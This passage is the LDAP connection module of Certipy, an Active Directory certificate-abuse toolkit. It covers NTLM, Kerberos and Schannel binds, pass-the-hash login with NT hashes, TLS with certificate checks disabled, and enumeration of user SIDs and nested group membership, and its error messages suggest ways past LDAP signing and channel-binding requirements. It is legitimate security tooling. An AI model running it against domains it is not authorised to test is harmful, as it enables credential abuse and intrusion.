- Mapping between security identifiers (SIDs) and account objects
- Managing user and group membership information
- Handling various authentication methods (NTLM, Kerberos, simple bind)
Main components:
- LDAPEntry: Dictionary-like class for LDAP objects with attribute access methods
- LDAPConnection: Main class for connecting to and querying LDAP servers
- ExtendedLdapConnection: Extends ldap3 Connection with custom encryption support
- ExtendedStrategy: Custom LDAP strategy for handling secure communications
"""
import socket
import ssl
import tempfile
from typing import Any, Dict, List, Optional, Set, Tuple, Union, cast
import ldap3
import ldap3.strategy
import ldap3.strategy.sync
from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes
from impacket.ntlm import NTLMSSP_NEGOTIATE_SEAL, NTLMAuthChallenge
from ldap3.core.exceptions import LDAPExceptionError
from ldap3.core.results import (
RESULT_INVALID_CREDENTIALS,
RESULT_STRONGER_AUTH_REQUIRED,
RESULT_SUCCESS,
)
from ldap3.operation.bind import bind_operation
from ldap3.protocol import rfc4511
from ldap3.protocol.microsoft import security_descriptor_control
from ldap3.strategy.base import BaseStrategy
from ldap3.utils.asn1 import encode as _ldap3_encode # type: ignore
from pyasn1.codec.ber.encoder import Encoder
ldap3_encode = cast(Encoder, _ldap3_encode)
from certipy.lib.certificate import cert_to_pem, key_to_pem, x509
from certipy.lib.channel_binding import get_channel_binding_data_from_ssl_socket
from certipy.lib.constants import WELLKNOWN_SIDS
from certipy.lib.errors import handle_error
from certipy.lib.kerberos import KerberosCipher, get_kerberos_type1
from certipy.lib.logger import logging
from certipy.lib.ntlm import NTLMCipher, ntlm_authenticate, ntlm_negotiate
from certipy.lib.target import Target
def get_account_type(entry: "LDAPEntry") -> str:
"""
Determine the type of Active Directory account based on sAMAccountType and objectClass.
Args:
entry: LDAP entry containing account attributes
Returns:
Account type as string: "Group", "Computer", "User", "TrustAccount", or "Domain"
"""
account_type = entry.get("sAMAccountType")
object_class = entry.get("objectClass") or []
# Group accounts
if account_type in [268435456, 268435457, 536870912, 536870913]:
return "Group"
# Computer accounts
elif account_type in [805306369]:
return "Computer"
# User accounts (including managed service accounts)
elif (
account_type in [805306368]
or "msDS-GroupManagedServiceAccount" in object_class
or "msDS-ManagedServiceAccount" in object_class
):
return "User"
# Trust accounts
elif account_type in [805306370]:
return "TrustAccount"
# Default to Domain
else:
return "Domain"
class LDAPEntry(Dict[str, Any]):
"""
Dictionary-like class representing an LDAP entry with helper methods.
This class extends the standard dictionary to provide convenient access
to LDAP attributes and raw attribute values.
"""
def get(self, key: str, default: Any = None) -> Any:
"""
Get an attribute value from the LDAP entry with support for default values.
This method provides convenient access to LDAP attributes and handles several
special cases, including missing attributes and empty lists.
Args:
key: Attribute name to retrieve
default: Value to return if attribute is missing or empty (default: None)
Returns:
Attribute value if present and not empty, otherwise the default value
"""
if key not in self.__getitem__("attributes").keys():
return default
item = self.__getitem__("attributes").__getitem__(key)
# Return default for empty lists
if isinstance(item, list) and len(item) == 0:
return default
return item
def set(self, key: str, value: Any) -> None:
"""
Set an attribute value in the LDAP entry.
Args:
key: Attribute name to set
value: Value to assign to the attribute
"""
return self.__getitem__("attributes").__setitem__(key, value)
def get_raw(self, key: str) -> Any:
"""
Get the raw (unprocessed) attribute value from the LDAP entry.
Args:
key: Attribute name to retrieve
Returns:
Raw attribute value or None if not present
"""
if key not in self.__getitem__("raw_attributes").keys():
return None
return self.__getitem__("raw_attributes").__getitem__(key)
class ExtendedStrategy(ldap3.strategy.sync.SyncStrategy):
"""
Extended strategy class for LDAP connections with encryption support.
This class extends the default SyncStrategy to provide custom
sending and receiving methods for LDAP messages. It handles
encryption and decryption of messages using NTLM or Kerberos
ciphers, as well as custom error handling.
"""
def __init__(self, connection: "ExtendedLdapConnection") -> None:
"""
Initialize the extended strategy with a connection.
Args:
connection: The ExtendedLdapConnection to use
"""
super().__init__(connection)
self._connection = connection
# Override the default receiving method to use the custom implementation
self.receiving = self._receiving
self.sequence_number = 0
def sending(self, ldap_message: Any) -> None:
"""
Send an LDAP message, optionally encrypting it first.
Args:
ldap_message: The LDAP message to send
Raises:
socket.error: If sending fails
"""
try:
encoded_message = cast(bytes, ldap3_encode(ldap_message))
# Encrypt the message if required and not in SASL progress
if self._connection.should_encrypt and not self.connection.sasl_in_progress:
encoded_message = self._connection._encrypt(encoded_message)
self.sequence_number += 1
self.connection.socket.sendall(encoded_message)
except socket.error as e:
self.connection.last_error = f"socket sending error: {e}"
logging.error(f"Failed to send LDAP message: {e}")
handle_error()
raise
# Update usage statistics if enabled
if self.connection.usage:
self.connection._usage.update_transmitted_message(
self.connection.request, len(encoded_message)
)
def _receiving(self) -> List[bytes]: # type: ignore
"""
Receive data over the socket and handle message encryption/decryption.
Returns:
List of received LDAP messages
Raises:
Exception: On socket or receive errors
"""
messages = []
receiving = True
unprocessed = b""
data = b""
get_more_data = True
sasl_total_bytes_received = 0
sasl_received_data = b""
sasl_next_packet = b""
sasl_buffer_length = -1
while receiving:
if get_more_data:
try:
data = self.connection.socket.recv(self.socket_size)
except (OSError, socket.error, AttributeError) as e:
self.connection.last_error = f"error receiving data: {e}"
try:
self.close()
except (socket.error, LDAPExceptionError):
pass
logging.error(f"Failed to receive LDAP message: {e}")
handle_error()
raise
# Handle encrypted messages (from NTLM or Kerberos)
if (
self._connection.should_encrypt
and not self.connection.sasl_in_progress
):
data = sasl_next_packet + data
if sasl_received_data == b"" or sasl_next_packet:
# Get the size of the encrypted message
sasl_buffer_length = int.from_bytes(data[0:4], "big")
data = data[4:]
sasl_next_packet = b""
sasl_total_bytes_received += len(data)
sasl_received_data += data
# Check if we have received the complete encrypted message
if sasl_total_bytes_received >= sasl_buffer_length:
# Handle multi-packet SASL messages
# When the LDAP response is split across multiple TCP packets,
# the SASL buffer length might not match our socket buffer size
sasl_next_packet = sasl_received_data[sasl_buffer_length:]
# Decrypt the received message
sasl_received_data = self._connection._decrypt(
sasl_received_data[:sasl_buffer_length]
)
sasl_total_bytes_received = 0
unprocessed += sasl_received_data
sasl_received_data = b""
else:
unprocessed += data
if len(data) > 0:
# Try to compute the message length
length = BaseStrategy.compute_ldap_message_size(unprocessed)
if length == -1: # too few data to decode message length
get_more_data = True
continue
if len(unprocessed) < length:
get_more_data = True
else:
messages.append(unprocessed[:length])
unprocessed = unprocessed[length:]
get_more_data = False
if len(unprocessed) == 0:
receiving = False
else:
receiving = False
return messages
class ExtendedLdapConnection(ldap3.Connection):
"""
Extended LDAP connection class with support for secure communication.
This class extends the ldap3.Connection class to provide additional
functionality for LDAP operations, including support for NTLM and
Kerberos encryption, channel binding, and custom error handling.
"""
def __init__(
self, target: Target, *args: Any, channel_binding: bool = True, **kwargs: Any
) -> None:
"""
Initialize an extended LDAP connection with the specified target.
Args:
target: Target object containing connection details
channel_binding: Whether to use channel binding (default: True)
*args: Additional positional arguments for the parent class
**kwargs: Additional keyword arguments for the parent class
"""
super().__init__(*args, **kwargs)
# Replace standard strategy with extended strategy
self.strategy = ExtendedStrategy(self)
# Store target and connection properties
self.target = target
self.channel_binding = channel_binding
self.negotiated_flags = 0
# Encryption-related attributes
self.ntlm_cipher: Optional[NTLMCipher] = None
self.kerberos_cipher: Optional[KerberosCipher] = None
self.should_encrypt = False
# Alias important methods from strategy for direct access
self.send = self.strategy.send
self.open = self.strategy.open
self.get_response = self.strategy.get_response
self.post_send_single_response = self.strategy.post_send_single_response
self.post_send_search = self.strategy.post_send_search
def _encrypt(self, data: bytes) -> bytes:
"""
Encrypt LDAP message data using the appropriate cipher.
Args:
data: Plaintext data to encrypt
Returns:
Encrypted data with appropriate headers and signatures
"""
if self.ntlm_cipher is not None:
# NTLM encryption
signature, data = self.ntlm_cipher.encrypt(data)
data = signature.getData() + data
data = len(data).to_bytes(4, byteorder="big", signed=False) + data
elif self.kerberos_cipher is not None:
# Kerberos encryption
data, signature = self.kerberos_cipher.encrypt(
data, self.strategy.sequence_number
)
data = signature + data
data = len(data).to_bytes(4, byteorder="big", signed=False) + data
return data
def _decrypt(self, data: bytes) -> bytes:
"""
Decrypt LDAP message data using the appropriate cipher.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext data
"""
if self.ntlm_cipher is not None:
# NTLM decryption
_, data = self.ntlm_cipher.decrypt(data)
elif self.kerberos_cipher is not None:
# Kerberos decryption
data = self.kerberos_cipher.decrypt(data)
return data
def do_ntlm_bind(self, controls: Any) -> Dict[str, Any]:
"""
Perform NTLM bind operation with optional controls.
This method implements the complete NTLM authentication flow:
1. Sicily package discovery to verify NTLM support
2. NTLM negotiate message exchange
3. Challenge/response handling with optional channel binding
4. Session key establishment and encryption setup
Args:
controls: Optional LDAP controls to apply during the bind operation
Returns:
Result of the bind operation
Raises:
Exception: If NTLM authentication fails or is not supported
"""
self.last_error = None # type: ignore
with self.connection_lock:
if not self.sasl_in_progress:
self.sasl_in_progress = True # NTLM uses SASL-like authentication flow
try:
# Step 1: Sicily package discovery to check for NTLM support
request = rfc4511.BindRequest()
request["version"] = rfc4511.Version(self.version)
request["name"] = ""
request[
"authentication"
] = rfc4511.AuthenticationChoice().setComponentByName(
"sicilyPackageDiscovery", rfc4511.SicilyPackageDiscovery("")
)
response = self.post_send_single_response(
self.send("bindRequest", request, controls)
)
result = response[0]
if not "server_creds" in result:
raise Exception(
"Server did not return available authentication packages during discovery request"
)
# Check if NTLM is supported
sicily_packages = result["server_creds"].decode().split(";")
if not "NTLM" in sicily_packages:
logging.error(
f"NTLM authentication not available on server. Supported packages: {sicily_packages}"
)
raise Exception("NTLM not available on server")
# Step 2: Send NTLM negotiate message
use_signing = self.target.ldap_signing and not self.server.ssl
logging.debug(
f"Using NTLM signing: {use_signing} (LDAP signing: {self.target.ldap_signing}, SSL: {self.server.ssl})"
)
negotiate = ntlm_negotiate(use_signing)
request = rfc4511.BindRequest()
request["version"] = rfc4511.Version(self.version)
request["name"] = "NTLM"
request[
"authentication"
] = rfc4511.AuthenticationChoice().setComponentByName(
"sicilyNegotiate", rfc4511.SicilyNegotiate(negotiate.getData())
)
response = self.post_send_single_response(
self.send("bindRequest", request, controls)
)
result = response[0]
if result["result"] != RESULT_SUCCESS:
logging.error(f"NTLM negotiate failed: {result}")
return result
if not "server_creds" in result:
logging.error(
"Server did not return NTLM challenge during bind request"
)
raise Exception(
"Server did not return NTLM challenge during bind request"
)
# Step 3: Process challenge and prepare authenticate response
challenge = NTLMAuthChallenge()
challenge.fromString(result["server_creds"])
channel_binding_data = None
use_channel_binding = (
self.target.ldap_channel_binding and self.server.ssl
)
logging.debug(
f"Using channel binding signing: {use_channel_binding} (LDAP channel binding: {self.target.ldap_channel_binding}, SSL: {self.server.ssl})"
)
if use_channel_binding:
if not isinstance(self.socket, ssl.SSLSocket):
raise Exception(
"LDAP server is using SSL but the connection is not an SSL socket"
)
logging.debug(
"Using LDAP channel binding for NTLM authentication"
)
# Extract channel binding data from SSL socket
channel_binding_data = get_channel_binding_data_from_ssl_socket(
self.socket
)
# Generate NTLM authenticate message
challenge_response, session_key, negotiated_flags = (
ntlm_authenticate(
negotiate,
challenge,
self.target.username,
self.target.password or "",
self.target.domain,
self.target.nthash,
channel_binding_data=channel_binding_data,
)
)
# Step 4: Set up encryption if negotiated
self.negotiated_flags = negotiated_flags
self.should_encrypt = (
negotiated_flags & NTLMSSP_NEGOTIATE_SEAL
== NTLMSSP_NEGOTIATE_SEAL
)
if self.should_encrypt:
self.ntlm_cipher = NTLMCipher(
negotiated_flags,
session_key,
)
# Step 5: Complete authentication with the NTLM authenticate message
request = rfc4511.BindRequest()
request["version"] = rfc4511.Version(self.version)
request["name"] = ""
request[
"authentication"
] = rfc4511.AuthenticationChoice().setComponentByName(
"sicilyResponse",
rfc4511.SicilyResponse(challenge_response.getData()),
)
response = self.post_send_single_response(
self.send("bindRequest", request, controls)
)
result = response[0]
if result["result"] != RESULT_SUCCESS:
logging.error(f"LDAP NTLM authentication failed: {result}")
else:
logging.debug(f"LDAP NTLM authentication successful")
return result
finally:
self.sasl_in_progress = False
else:
raise Exception("SASL authentication already in progress")
class LDAPConnection:
"""
Manages connections and operations to Active Directory via LDAP/LDAPS.
This class handles authentication, searching, and modifying objects in
Active Directory using the ldap3 library with extended functionality
for secure operations.
"""
def __init__(
self,
target: Target,
schannel_auth: Optional[Tuple[x509.Certificate, PrivateKeyTypes]] = None,
) -> None:
"""
Initialize an LDAP connection with the specified target.
Args:
target: Target object containing connection details
ldap_pfx: Optional tuple containing LDAP PFX file path and password
"""
self.target = target
self.schannel_auth = schannel_auth
self.use_ssl = target.ldap_scheme == "ldaps"
# Determine port based on scheme and target configuration
if self.use_ssl:
self.port = int(target.ldap_port) if target.ldap_port is not None else 636
else:
self.port = int(target.ldap_port) if target.ldap_port is not None else 389
# Connection-related attributes
self.default_path: Optional[str] = None
self.configuration_path: Optional[str] = None
self.ldap_server: Optional[ldap3.Server] = None
self.ldap_conn: Optional[Union["ExtendedLdapConnection", ldap3.Connection]] = (
None
)
self.domain: Optional[str] = None
# Caching and tracking
self.sid_map: Dict[str, LDAPEntry] = {}
self._domain_sid: Optional[str] = None
self._users: Dict[str, LDAPEntry] = {}
self._user_sids: Dict[str, Set[str]] = {}
self.warned_missing_domain_sid_lookup: bool = False
def connect(self) -> None:
"""
Connect to the LDAP server with the specified SSL/TLS version.
This method establishes a connection to the LDAP server and handles
authentication using the credentials from the target object.
It supports multiple authentication methods:
- Kerberos
- NTLM
- Simple bind
Raises:
Exception: If connection or authentication fails
"""
if self.target.target_ip is None:
raise Exception("Target IP is not set")
if self.schannel_auth is not None:
return self.schannel_connect()
# Format user credentials
user = f"{self.target.domain}\\{self.target.username}"
user_upn = f"{self.target.username}@{self.target.domain}"
# Create server object based on scheme
if self.use_ssl:
# Configure TLS for LDAPS
tls = ldap3.Tls(
validate=ssl.CERT_NONE,
version=ssl.PROTOCOL_TLS_CLIENT,
ciphers="ALL:@SECLEVEL=0",
ssl_options=[ssl.OP_ALL],
)
ldap_server = ldap3.Server(
self.target.target_ip,
use_ssl=True,
port=self.port,
get_info=ldap3.ALL,
tls=tls,
connect_timeout=self.target.timeout,
)
else:
ldap_server = ldap3.Server(
self.target.target_ip,
use_ssl=False,
port=self.port,
get_info=ldap3.ALL,
connect_timeout=self.target.timeout,
)
# Authentication based on method
if self.target.do_kerberos:
logging.debug("Authenticating to LDAP server using Kerberos authentication")
# Create connection for Kerberos authentication
ldap_conn = ExtendedLdapConnection(
self.target,
ldap_server,
receive_timeout=self.target.timeout * 10,
)
self._kerberos_login(ldap_conn)
else:
auth_method = "SIMPLE" if self.target.do_simple else "NTLM"
logging.debug(
f"Authenticating to LDAP server using {auth_method} authentication"
)
# Set up credentials for NTLM or simple authentication
if self.target.hashes is not None:
ldap_pass = f"{self.target.lmhash}:{self.target.nthash}"
else:
ldap_pass = self.target.password
# Create connection
ldap_conn = ExtendedLdapConnection(
self.target,
ldap_server,
user=user_upn if self.target.do_simple else user,
password=ldap_pass,
authentication=ldap3.SIMPLE if self.target.do_simple else ldap3.NTLM,
auto_referrals=False,
receive_timeout=self.target.timeout * 10,
)
# Perform bind operation if not already bound
if not ldap_conn.bound:
bind_result = ldap_conn.bind()
if not bind_result:
result = ldap_conn.result
self._check_ldap_result(result)
# Get schema information if not already available
if ldap_server.schema is None:
ldap_server.get_info_from_server(ldap_conn)
if ldap_conn.result["result"] != RESULT_SUCCESS:
if ldap_conn.result["message"].split(":")[0] == "000004DC":
raise Exception(
"Failed to bind to LDAP. This is most likely due to an invalid username"
)
if ldap_server.schema is None:
raise Exception("Failed to get LDAP schema")
logging.debug(f"Bound to {ldap_server}")
# Store connection objects and directory paths
self.ldap_conn = ldap_conn
self.ldap_server = ldap_server
self.default_path = self.ldap_server.info.other["defaultNamingContext"][0]
self.configuration_path = self.ldap_server.info.other[
"configurationNamingContext"
][0]
logging.debug(f"Default path: {self.default_path}")
logging.debug(f"Configuration path: {self.configuration_path}")
# Extract domain name from LDAP service name
self.domain = self.ldap_server.info.other["ldapServiceName"][0].split("@")[-1]
def schannel_connect(self) -> None:
if self.schannel_auth is None:
raise Exception(
"Schannel authentication requires a certificate and private key"
)
if self.target.target_ip is None:
raise Exception("Target IP is not set")
cert, key = self.schannel_auth
# Create temporary files for certificate and key
key_file = tempfile.NamedTemporaryFile(delete=False)
_ = key_file.write(key_to_pem(key))
key_file.close()
cert_file = tempfile.NamedTemporaryFile(delete=False)
_ = cert_file.write(cert_to_pem(cert))
cert_file.close()
# Configure TLS for LDAPS
tls = ldap3.Tls(
local_private_key_file=key_file.name,
local_certificate_file=cert_file.name,
validate=ssl.CERT_NONE,
version=ssl.PROTOCOL_TLS_CLIENT,
ciphers="ALL:@SECLEVEL=0",
ssl_options=[ssl.OP_ALL],
)
ldap_server = ldap3.Server(
self.target.target_ip,
use_ssl=self.use_ssl,
port=self.port,
get_info=ldap3.ALL,
tls=tls,
connect_timeout=self.target.timeout,
)
logging.debug("Authenticating to LDAP server using Schannel authentication")
logging.info(
f"Connecting to {f'{self.target.ldap_scheme}://{self.target.target_ip}:{self.port}'!r}"
)
# Configure authentication parameters for non-SSL connections
conn_kwargs = {}
if not self.use_ssl:
# Configure SASL credentials if user DN is specified
sasl_credentials = None
if self.target.ldap_user_dn:
sasl_credentials = f"dn:{self.target.ldap_user_dn}"
if sasl_credentials:
logging.info(f"Using DN: {sasl_credentials!r}")
else:
logging.warning(
"No DN specified for LDAP authentication. "
"Try to use '-ldap-user-dn' to specify a user DN if authentication fails"
)
conn_kwargs = {
"authentication": ldap3.SASL,
"sasl_mechanism": ldap3.EXTERNAL,
"auto_bind": ldap3.AUTO_BIND_TLS_BEFORE_BIND,
"sasl_credentials": sasl_credentials,
}
# Create connection
try:
ldap_conn = ldap3.Connection(
ldap_server,
raise_exceptions=True,
auto_referrals=False,
receive_timeout=self.target.timeout * 10,
**conn_kwargs, # type: ignore
)
except Exception as e:
logging.error(f"Failed to connect to LDAP server: {e}")
raise
# Open the connection if using SSL. Non-SSL connections are opened automatically.
if self.use_ssl:
ldap_conn.open()
# Get authenticated identity
who_am_i = ldap_conn.extend.standard.who_am_i()
if not who_am_i:
raise Exception(
"Failed to authenticate to LDAP server. Server did not return an identity (whoAmI)"
)
logging.info(f"Authenticated to {self.target.target_ip!r} as: {who_am_i!r}")
# Get schema information if not already available
if ldap_server.schema is None:
ldap_server.get_info_from_server(ldap_conn)
if ldap_conn.result["result"] != RESULT_SUCCESS:
if ldap_conn.result["message"].split(":")[0] == "000004DC":
raise Exception(
"Failed to bind to LDAP. This is most likely due to an invalid username"
)
if ldap_server.schema is None:
raise Exception("Failed to get LDAP schema")
logging.debug(f"Bound to {ldap_server}")
# Store connection objects and directory paths
self.ldap_conn = ldap_conn
self.ldap_server = ldap_server
self.default_path = self.ldap_server.info.other["defaultNamingContext"][0]
self.configuration_path = self.ldap_server.info.other[
"configurationNamingContext"
][0]
logging.debug(f"Default path: {self.default_path}")
logging.debug(f"Configuration path: {self.configuration_path}")
# Extract domain name from LDAP service name
self.domain = self.ldap_server.info.other["ldapServiceName"][0].split("@")[-1]
def _kerberos_login(self, connection: "ExtendedLdapConnection") -> None:
"""
Perform Kerberos authentication to LDAP server.
Args:
connection: LDAP connection object
Raises:
Exception: If Kerberos authentication fails
"""
# Ensure connection is open
if connection.closed:
connection.open(read_server_info=True)
# Setup channel binding if enabled and using SSL
channel_binding_data = None
if self.target.ldap_channel_binding and connection.server.ssl:
logging.debug("Using LDAP channel binding for Kerberos authentication")
if not isinstance(connection.socket, ssl.SSLSocket):
raise Exception(
"LDAP server is using SSL but the connection is not an SSL socket"
)
# Extract channel binding data from SSL socket
channel_binding_data = get_channel_binding_data_from_ssl_socket(
connection.socket
)
# Get Kerberos Type 1 message
cipher, session_key, blob, username = get_kerberos_type1(
self.target,
target_name=self.target.remote_name or "",
channel_binding_data=channel_binding_data,
signing=self.target.ldap_signing and not connection.server.ssl,
)
# Create SASL bind request
request = bind_operation(
connection.version,
ldap3.SASL,
username,
None,
"GSS-SPNEGO",
blob,
)
# Send bind request and process response
connection.sasl_in_progress = True
response = connection.post_send_single_response(
connection.send("bindRequest", request, None)
)
connection.sasl_in_progress = False
result = response[0]
if result["result"] != RESULT_SUCCESS:
logging.error(f"LDAP Kerberos authentication failed: {result}")
else:
logging.debug(f"LDAP Kerberos authentication successful")
self._check_ldap_result(result)
# Set up encryption if signing is requested
if self.target.ldap_signing and not connection.server.ssl:
connection.kerberos_cipher = KerberosCipher(cipher, session_key)
connection.should_encrypt = self.target.ldap_signing
connection.bound = True
def _check_ldap_result(self, result: Dict[str, Any]) -> None:
"""
Handle LDAP errors based on the result dictionary.
Args:
result: Result dictionary from the LDAP bind operation
Raises:
Exception: If an error occurs during the LDAP operation
"""
if result["result"] != RESULT_SUCCESS:
if (
result["result"] == RESULT_INVALID_CREDENTIALS
and result["message"].split(":")[0] == "80090346"
):
raise Exception(
(
"LDAP authentication refused because channel binding policy was not satisfied. "
"Try one of these options:\n"
"- Remove '-no-ldap-channel-binding'\n"
"- Use '-ldap-scheme ldap' to disable TLS encryption\n"
"- Use '-ldap-simple-auth' for SIMPLE bind authentication"
)
)
elif (
result["result"] == RESULT_STRONGER_AUTH_REQUIRED
and result["message"].split(":")[0] == "00002028"
):
raise Exception(
"LDAP authentication refused because LDAP signing is required. "
"Try one of these options:\n"
"- Remove '-no-ldap-signing' to enable LDAP signing\n"
"- Use '-ldap-scheme ldaps' to use TLS encryption\n"
"- Use '-ldap-simple-auth' for SIMPLE bind authentication"
)
raise Exception(f"Kerberos authentication failed: {result}")
def add(self, *args: Any, **kwargs: Any) -> Any:
"""
Add a new entry to the LDAP directory.
Args:
*args: Arguments to pass to the underlying LDAP add operation
**kwargs: Keyword arguments to pass to the underlying LDAP add operation
Returns:
Result of the add operation
Raises:
Exception: If LDAP connection is not established
"""
if not self.ldap_conn:
raise Exception("LDAP connection is not established")
self.ldap_conn.add(*args, **kwargs)
return self.ldap_conn.result
def delete(self, *args: Any, **kwargs: Any) -> Any:
"""
Delete an entry from the LDAP directory.
Args:
*args: Arguments to pass to the underlying LDAP delete operation
**kwargs: Keyword arguments to pass to the underlying LDAP delete operation
Returns:
Result of the delete operation
Raises:
Exception: If LDAP connection is not established
"""
if not self.ldap_conn:
raise Exception("LDAP connection is not established")
self.ldap_conn.delete(*args, **kwargs)
return self.ldap_conn.result
def modify(self, *args: Any, **kwargs: Any) -> Any:
"""
Modify an existing entry in the LDAP directory.
Args:
*args: Arguments to pass to the underlying LDAP modify operation
**kwargs: Keyword arguments to pass to the underlying LDAP modify operation
Returns:
Result of the modify operation
Raises:
Exception: If LDAP connection is not established
"""
if not self.ldap_conn:
raise Exception("LDAP connection is not established")
self.ldap_conn.modify(*args, **kwargs)
return self.ldap_conn.result
def search(
self,
search_filter: str,
attributes: Union[str, List[str]] = ldap3.ALL_ATTRIBUTES,
search_base: Optional[str] = None,
query_sd: bool = False,
**kwargs: Any,
) -> List[LDAPEntry]:
"""
Search the LDAP directory with the given filter and return matching entries.
Args:
search_filter: LDAP search filter string
attributes: List of attributes to retrieve or ldap3.ALL_ATTRIBUTES
search_base: Base DN for the search, defaults to domain base
query_sd: Whether to query security descriptors
**kwargs: Additional arguments for the search operation
Returns:
List of matching LDAP entries
Raises:
Exception: If LDAP connection is not established
"""
if search_base is None:
search_base = self.default_path
# Set security descriptor control if requested
if query_sd:
controls = security_descriptor_control(sdflags=0x5)
else:
controls = None
if self.ldap_conn is None:
raise Exception("LDAP connection is not established")
# Perform paged search to handle large result sets
results = self.ldap_conn.extend.standard.paged_search(
search_base=search_base,
search_filter=search_filter,
attributes=attributes,
controls=controls,
paged_size=200,
generator=True,
**kwargs,
)
if self.ldap_conn.result["result"] != 0:
logging.warning(
f"LDAP search {search_filter!r} failed: "
f"({self.ldap_conn.result['description']}) {self.ldap_conn.result['message']}"
)
return []
# Convert search results to LDAPEntry objects
entries = list(
map(
lambda entry: LDAPEntry(**entry),
filter(
lambda entry: entry["type"] == "searchResEntry",
results,
),
)
)
return entries
def get_user(
self, username: str, silent: bool = False, *args: Any, **kwargs: Any
) -> Optional[LDAPEntry]:
"""
Find a user by samAccountName.
This method searches for a user by samAccountName and automatically
handles computer account naming ($) if needed.
Args:
username: Username to search for (samAccountName)
silent: Whether to suppress error logging for missing users
*args: Additional arguments for the search
**kwargs: Additional keyword arguments for the search
Returns:
User entry or None if not found
"""
def _get_user(username: str, *args: Any, **kwargs: Any) -> Optional[LDAPEntry]:
"""Helper function to search for a user, with caching."""
sanitized_username = username.lower().strip()
# Return cached result if available
if sanitized_username in self._users:
return self._users[sanitized_username]
# Search for the user
results = self.search(f"(sAMAccountName={username})", *args, **kwargs)
if len(results) != 1:
return None
# Cache the result
self._users[sanitized_username] = results[0]
return results[0]
# Try without $ suffix first
user = _get_user(username, *args, **kwargs)
# Try with $ suffix (for computer accounts)
if user is None and not username.endswith("$"):
user = _get_user(f"{username}$", *args, **kwargs)
# Log error if user not found and silent mode is not enabled
if user is None and not silent:
logging.error(f"Could not find user {username!r}")
return user
@property
def domain_sid(self) -> Optional[str]:
"""
Get the domain's security identifier (SID).
The domain SID is the base identifier used for all domain security principals.
Returns:
Domain SID or None if not found
"""
# Return cached value if available
if self._domain_sid is not None:
return self._domain_sid
# Query domain object for SID
results = self.search(
"(objectClass=domain)",
attributes=["objectSid"],
)
if len(results) != 1:
return None
result = results[0]
domain_sid = result.get("objectSid")
# Cache the result
self._domain_sid = domain_sid
return domain_sid
def get_user_sids(
self,
username: str,
user_sid: Optional[str] = None,
user_dn: Optional[str] = None,
) -> Set[str]:
"""
Get all SIDs associated with a user, including groups.
This method collects all security identifiers (SIDs) that apply to a user,
including the user's personal SID, well-known SIDs, primary group SID,
and all group memberships (direct and nested).
Args:
username: Username to look up
user_sid: Optional SID to use if user lookup fails
user_dn: Optional DN to use if user lookup fails
Returns:
Set of SIDs the user belongs to
"""
# Return cached value if available
sanitized_username = username.lower().strip()
if sanitized_username in self._user_sids:
return self._user_sids[sanitized_username]
# Get user object or create minimal one if not found
user = self.get_user(username)
if not user:
user = {"objectSid": user_sid, "distinguishedName": user_dn}
if not user_sid:
logging.warning(
"User SID can't be retrieved. For more accurate results, add it manually with -sid"
)
# Start with basic SIDs
sids: Set[str] = set()
# Add user's own SID
object_sid = user.get("objectSid")
if object_sid:
sids.add(object_sid)
# Add well-known SIDs: Everyone, Authenticated Users, Users
sids |= {"S-1-1-0", "S-1-5-11", "S-1-5-32-545"}
# Add primary group (usually Domain Users)
primary_group_id = user.get("primaryGroupID")
if primary_group_id is not None and self.domain_sid:
sids.add(f"{self.domain_sid}-{primary_group_id}")
# Add Domain Users and Domain Computers group
if self.domain_sid:
logging.debug(
"Adding 'Domain Users' and 'Domain Computers' to list of current user's SIDs"
)
sids.add(f"{self.domain_sid}-513") # Domain Users
sids.add(f"{self.domain_sid}-515") # Domain Computers
# Collect DNs to search for group membership
dns = [user.get("distinguishedName")]
for sid in sids:
object_entry = self.lookup_sid(sid)
if "dn" in object_entry:
dns.append(object_entry["dn"])
# Build LDAP query for nested group membership (LDAP_MATCHING_RULE_IN_CHAIN)
member_of_queries = []
for dn in dns:
if dn: # Skip None values
member_of_queries.append(f"(member:1.2.840.113556.1.4.1941:={dn})")
if member_of_queries:
try:
# Query for nested group membership
groups = self.search(
f"(|{''.join(member_of_queries)})",
attributes="objectSid",
)
# Add all group SIDs to the set
for group in groups:
sid = group.get("objectSid")
if sid is not None:
sids.add(sid)
except Exception as e:
logging.warning(f"Failed to get user SIDs: {e}")
logging.warning("Try increasing -timeout parameter value")
handle_error(True)
# Cache the results
self._user_sids[sanitized_username] = sids
# Debug output of collected SIDs
logging.debug(f"User {username!r} has {len(sids)} SIDs:")
for sid in sids:
logging.debug(f" {sid}")
return sids
def lookup_sid(self, sid: str) -> LDAPEntry:
"""
Look up an object by its SID.
This method finds an Active Directory object by its security identifier,
or returns a synthetic entry for well-known SIDs.
Args:
sid: Security identifier to look up
Returns:
LDAPEntry for the object, or a synthetic entry for well-known SIDs
Raises:
Exception: If LDAP connection is not established
"""
# Return cached value if available
if sid in self.sid_map:
return self.sid_map[sid]
# Handle well-known SIDs
if sid in WELLKNOWN_SIDS:
if self.domain is None and not self.warned_missing_domain_sid_lookup:
self.warned_missing_domain_sid_lookup = True
logging.warning(
"Domain is not set for LDAP connection. This may cause issues when looking up SIDs"
)
# Create synthetic entry for well-known SID
entry = LDAPEntry(
**{
"attributes": {
"objectSid": f"{(self.domain or '').upper()}-{sid}",
"objectType": WELLKNOWN_SIDS[sid][1].capitalize(),
"name": f"{self.domain}\\{WELLKNOWN_SIDS[sid][0]}",
}
}
)
self.sid_map[sid] = entry
return entry
# For regular SIDs, query the directory
attributes = [
"sAMAccountType",
"name",
"objectSid",
"distinguishedName",
"objectClass",
]
if self.ldap_conn is None:
raise Exception("LDAP connection is not established")
# Only request msDS-GroupMSAMembership when it exists in the schema
if (
self.ldap_conn.server.schema
and "msDS-GroupMSAMembership"
in self.ldap_conn.server.schema.attribute_types
):
attributes.append("msDS-GroupMSAMembership")
# Search for object with the given SID
results = self.search(
f"(objectSid={sid})",
attributes=attributes,
)
# Handle results
if len(results) != 1:
logging.warning(f"Failed to lookup object with SID {sid!r}")
# Create synthetic entry for unknown SID
entry = LDAPEntry(
**{
"attributes": {
"objectSid": sid,
"name": sid,
"objectType": "Unknown",
}
}
)
else:
# Process found entry
entry = results[0]
entry.set("name", f"{self.domain}\\{entry.get('name')}")
entry.set("objectType", get_account_type(entry))
# Cache the result
self.sid_map[sid] = entry
return entry
Certipy-5.1.0/certipy/lib/logger.py 0000775 0000000 0000000 00000007146 15216574665 0017246 0 ustar 00root root 0000000 0000000 """
Custom logging configuration for Certipy.
This module provides specialized logging formatters and initialization functions
